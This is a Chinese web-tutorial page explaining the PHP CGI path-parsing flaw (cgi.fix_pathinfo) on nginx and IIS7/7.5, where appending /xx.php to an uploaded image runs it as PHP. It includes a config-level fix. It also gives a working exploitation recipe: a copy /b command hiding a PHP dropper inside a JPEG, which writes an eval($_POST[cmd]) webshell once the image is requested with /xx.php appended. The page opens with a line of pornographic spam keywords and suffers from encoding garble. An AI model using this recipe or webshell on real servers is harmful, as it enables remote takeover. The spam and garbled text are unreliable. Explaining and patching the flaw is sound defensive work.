五月综合缴情婷婷六月,色94色欧美sute亚洲线路二,日韩制服国产精品一区,色噜噜一区二区三区,香港三级午夜理伦三级三

您現(xiàn)在的位置: 365建站網(wǎng) > 365文章 > IIS7&7.5 xx.jpg/xx.php PHP CGI解析漏洞及解決方法

IIS7&7.5 xx.jpg/xx.php PHP CGI解析漏洞及解決方法

文章來(lái)源:365jz.com     點(diǎn)擊數(shù):446    更新時(shí)間:2021-11-17 16:54   參與評(píng)論

PHP里經(jīng)常要獲取當(dāng)前請(qǐng)求的URL路徑信息。一般可以通過(guò)環(huán)境變量$_SERVER[‘PATH_INFO’]獲取,而配置文件中的cgi.fix_pathinifo選項(xiàng)則與這個(gè)值的獲取相關(guān)。而$_SERVER[‘PATH_INFO’]中的key PATH_INFO是一個(gè)CGI 1.1的標(biāo)準(zhǔn),經(jīng)常用來(lái)做為傳遞參數(shù)給后端的CGI服務(wù)器。

被很多系統(tǒng)用來(lái)優(yōu)化url路徑格式,比如對(duì)于很多框架,下面這個(gè)網(wǎng)址:

http://www.xxx.com/index.php/test/my.html?c=index&m=search

我們可以得到

$_SERVER[‘PATH_INFO’] = ‘/test/my.html’

$_SERVER[‘QUERY_STRING’] = ‘c=index&m=search’;

我們?cè)僬f(shuō)下php.ini中的配置參數(shù)cgi.fix_pathinfo,它是用來(lái)對(duì)設(shè)置cgi模式下為php是否提供絕對(duì)路徑信息或PATH_INFO信息。沒(méi)有這個(gè)參數(shù)之前PHP設(shè)置絕對(duì)路徑PATH_TRANSLATED的值為SCRIPT_FILENAME,沒(méi)有PATH_INFO值。設(shè)置cgi.fix_pathinfo=1后,cgi設(shè)置完整的路徑信息PATH_TRANSLATED的值為SCRIPT_FILENAME,并且設(shè)置PATH_INFO信息;如果設(shè)為cgi.fix_pathinfo=0則只設(shè)置絕對(duì)路徑PATH_TRANSLATED的值為SCRIPT_FILENAME。cgi.fix_pathinfo的默認(rèn)值是1。

nginx默認(rèn)是不會(huì)設(shè)置PATH_INFO環(huán)境變量的的值,需要通過(guò)正則匹配設(shè)置SCRIPT_FILENAME,但這樣會(huì)帶來(lái)安全隱患,需要把cgi.fix_pathinfo=0設(shè)置為0。但是一旦關(guān)閉這個(gè)這場(chǎng),PHP就獲取不到PATH_INFO信息,那些依賴PATH_INFO進(jìn)行URL美化的程序就失效了。

現(xiàn)在普遍的Nginx + PHP cgi的做法是在配置文件中, 通過(guò)正則匹配(Nginx(PHP/fastcgi)的PATH_INFO問(wèn)題)設(shè)置SCRIPT_FILENAME, 今天發(fā)現(xiàn)了一個(gè)這種方式的安全漏洞.
比如, 有http://www.xxx.com/fake.jpg, 那么通過(guò)構(gòu)造如下的URL, 就可以看到fake.jpg的二進(jìn)制內(nèi)容:

http://www.xxx.com/fake.jpg/foo.php

為什么會(huì)這樣呢?
比如, 如下的nginx conf:

location ~ \.php($|/) {
     fastcgi_pass   127.0.0.1:9000;
     fastcgi_index  index.php;
     set $script    $uri;
     set $path_info "";
     if ($uri ~ "^(.+\.php)(/.*)") {
          set  $script     $1;
          set  $path_info  $2;
     }
     include       fastcgi_params;
     fastcgi_param SCRIPT_FILENAME   $document_root$script;
     fastcgi_param SCRIPT_NAME       $script;
     fastcgi_param PATH_INFO         $path_info;
}

通過(guò)正則匹配以后, SCRIPT_NAME會(huì)被設(shè)置為"fake.jpg/foo.php", 繼而構(gòu)造成SCRIPT_FILENAME傳遞個(gè)PHP CGI, 但是PHP又為什么會(huì)接受這樣的參數(shù), 并且把a(bǔ).jpg解析呢?
這就要說(shuō)到PHP的cgi SAPI中的參數(shù), fix_pathinfo了:

; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI.  PHP's
; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok
; what PATH_INFO is.  For more information on PATH_INFO, see the cgi specs.  Setting
; this to 1 will cause PHP CGI to fix it's paths to conform to the spec.  A setting
; of zero causes PHP to behave as before.  Default is 1.  You should fix your scripts
; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.
cgi.fix_pathinfo=1

如果開(kāi)啟了這個(gè)選項(xiàng), 那么就會(huì)觸發(fā)在PHP中的如下邏輯:

/*
 * if the file doesn't exist, try to extract PATH_INFO out
 * of it by stat'ing back through the '/'
 * this fixes url's like /info.php/test
 */
if (script_path_translated &&
     (script_path_translated_len = strlen(script_path_translated)) > 0 &&
     (script_path_translated[script_path_translated_len-1] == '/' ||
....//以下省略.

到這里, PHP會(huì)認(rèn)為SCRIPT_FILENAME是fake.jpg, 而foo.php是PATH_INFO, 然后PHP就把fake.jpg當(dāng)作一個(gè)PHP文件來(lái)解釋執(zhí)行... So...
這個(gè)隱患的危害是巨大的.
對(duì)于一些論壇來(lái)說(shuō), 如果上傳一個(gè)圖片(實(shí)際上是惡意的PHP腳本), 繼而構(gòu)造這樣的訪問(wèn)請(qǐng)求...
所以, 大家如果有用這種服務(wù)器搭配的, 請(qǐng)排查, 如果有隱患, 請(qǐng)關(guān)閉fix_pathinfo(默認(rèn)是開(kāi)啟的).
打到php.ini文件,做如下修改:

cgi.fix_pathinfo=0

IIS7/7.5在Fast-CGI運(yùn)行模式下,在一個(gè)文件路徑(/xx.jpg)后面加上/xx.php會(huì)將/xx.jpg/xx.php 解析為 php 文件。



常用利用方法:將一張圖和一個(gè)寫(xiě)入后門(mén)代碼的文本文件合并將惡意文本寫(xiě)入圖片的二進(jìn)制代碼之后,避免破壞圖片文件頭和尾

e.g. copy xx.jpg/b + yy.txt/a xy.jpg

######################################

/b 即二進(jìn)制[binary]模式


/a 即ascii模式 xx.jpg正常圖片文件


yy.txt 內(nèi)容 <?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

意思為寫(xiě)入一個(gè)內(nèi)容為 <?php eval($_POST[cmd])?> 名稱為shell.php的文件

######################################

找個(gè)地方上傳 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可執(zhí)行惡意文本。

然后就在圖片目錄下生成一句話木馬 shell.php 密碼 cmd

注意:

該解析漏洞利用需這個(gè)條件:

php.ini里cgi.fix_pathinfo=1(默認(rèn)為1)


解決方案:

 配置cgi.pathinfo(php.ini中)為0并重啟php-cgi程序


如對(duì)本文有疑問(wèn),請(qǐng)?zhí)峤坏浇涣髡搲?,廣大熱心網(wǎng)友會(huì)為你解答!! 點(diǎn)擊進(jìn)入論壇

發(fā)表評(píng)論 (446人查看,0條評(píng)論)
請(qǐng)自覺(jué)遵守互聯(lián)網(wǎng)相關(guān)的政策法規(guī),嚴(yán)禁發(fā)布色情、暴力、反動(dòng)的言論。
昵稱:
最新評(píng)論
------分隔線----------------------------

其它欄目

· 建站教程
· 365學(xué)習(xí)

業(yè)務(wù)咨詢

· 技術(shù)支持
· 服務(wù)時(shí)間:9:00-18:00
365建站網(wǎng)二維碼

Powered by 365建站網(wǎng) RSS地圖 HTML地圖

copyright © 2013-2024 版權(quán)所有 鄂ICP備17013400號(hào)